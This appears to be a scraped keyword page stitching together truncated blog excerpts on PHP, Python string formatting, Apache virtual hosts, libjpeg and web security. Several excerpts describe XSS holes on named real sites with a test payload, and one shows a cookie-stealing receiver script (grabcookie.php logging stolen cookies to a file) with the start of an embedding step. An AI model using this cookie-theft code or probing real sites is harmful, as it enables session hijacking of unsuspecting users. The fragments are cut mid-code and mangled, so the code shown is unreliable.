03 Jan, 2011
Php codeignitor jquery library
Articles related to php codeignitor jquery library
file_get_contents giving garbled output
Are you getting garbled values when using file_get_contents fetching an external URL (website scrapping using php
) and wondering what went wrong ? The content is appearing to have wierd characters instead of normal HTML output because of GZIP output encoding by the website you are fetching.
You can fix this issue in multiple ways.
Method 1 : Accept-Encoding
In this method we set the request headers so that the webserver is forced to respond ...
Published 3 years, 9 months ago
Sprintf Function in Python
The printf or sprintf function is used to format strings in PHP
and C programming constructs. sprintf in php
returns the formatted string whereas printf just prints the output.
$variable = sprintf("%d %s %d = %d",4,"+",5,9);
printf("%d %s %d = %d",4,"+",5,9);
//Both lines are identical.
//Prints 4 + 5 = 9
On python, sprintf is handled using an operator instead of function. The % operator on a string ...
Published 3 years, 8 months ago
XSS on Yaari.com
Lots of friendship network sites are coming up these days following the success of orkut. Another one supposedly originating from the same stanford university is yaari.com targeted at mainly Indian users. The site looks and functionality seems fine but is full of XSS holes (Cross Site Scripting). Almost all the fields can be bugged. Only thing that amazes me is that the site has used PHP
has such a wonderful list of functions that can take care of the XSS problem. I wonder ...
Published 6 years, 7 months ago
Anyone got better ideas ? :)
Published 3 years, 11 months ago
XSS on JustDial.com
JustDial.comSaw the ad a few days back on the TV, so thought could play with it. As expected, they haven't thought/bothered about Cross Site Scripting !Just search for our usual keyword : alert("XSS"); and you can get alerts.The reason for most XSS holes is due to the use of Microsoft's Active Server Pages (ASP). ASP does not have much default functions or modules to combat XSS. Whereas PHP
has a number of functions to do the same.Happy Hacking ... ...
Published 6 years, 8 months ago
index.html index.html index.htm index.shtmlEgs: ServerName sub.localhost DocumentRoot "C:/public_html/sub" DirectoryIndex index.php
index.html index.html index.htm index.shtml ServerName images.localhost DocumentRoot "C:/public_html/images" DirectoryIndex index.php
index.html index.html index.htm index.shtml ServerName site.com DocumentRoot "C:/public_html/site" DirectoryIndex index.php
index.html index.html index.htm index.shtmlTest the configurations (using ...
Published 6 years, 11 months ago
FTPCHK3 : Virus that adds malicious scripts to your website.
IntroThis virus changes all your web files, php
code on your website if the php
infected code is running on your pages. Its supposedly called Bagle. But who cares about the name? It's nasty and start fixing.How it got in ?This can be due to potential security holes in your FTP ...
Published 4 years, 1 month ago
would be something like : grabcookie.php$handle=fopen("cookiejar.txt","a");fputs($handle,"\n".$_GET["cookie"]."\n");fclose($handle);?>Now
to get the cookie to this page we would have to embed the followingvar i=new Image ...
Published 6 years, 11 months ago
C Code to convert JPEG to BMP in LINUX using libjpeg
IntroThe following code converts JPEG file into BMP file. The code requires the libjpeg library
. The following code is a good example of how to use the libjpeg library
. (it compiles). Code converts colour jpeg to 24bit BITMAP.Code : jpeg2bmp.c#include #include #include #include /* we will be using this uninitialized pointer later to store raw, uncompressd image */unsigned char *raw_image = NULL;/* dimensions of the image we want to write ...
Published 4 years, 10 months ago
VirtualHost section is used for all requests that do not# match a ServerName or ServerAlias in any block.# ServerName localhost DocumentRoot "F:/webs/localhost" DirectoryIndex index.php
index.html index.htm index.shtml DocumentRoot "F:/webs/kitiyo.com" ServerName pp.com DirectoryIndex index.php
index.html index.htm index.shtmlIn the above example shows localhost and kitiyo.com host on same server.Remember to add the sites in the hosts file. ...
Published 6 years ago
Related help topics for php codeignitor jquery library
More keywords like php codeignitor jquery library
More pages for php codeignitor jquery library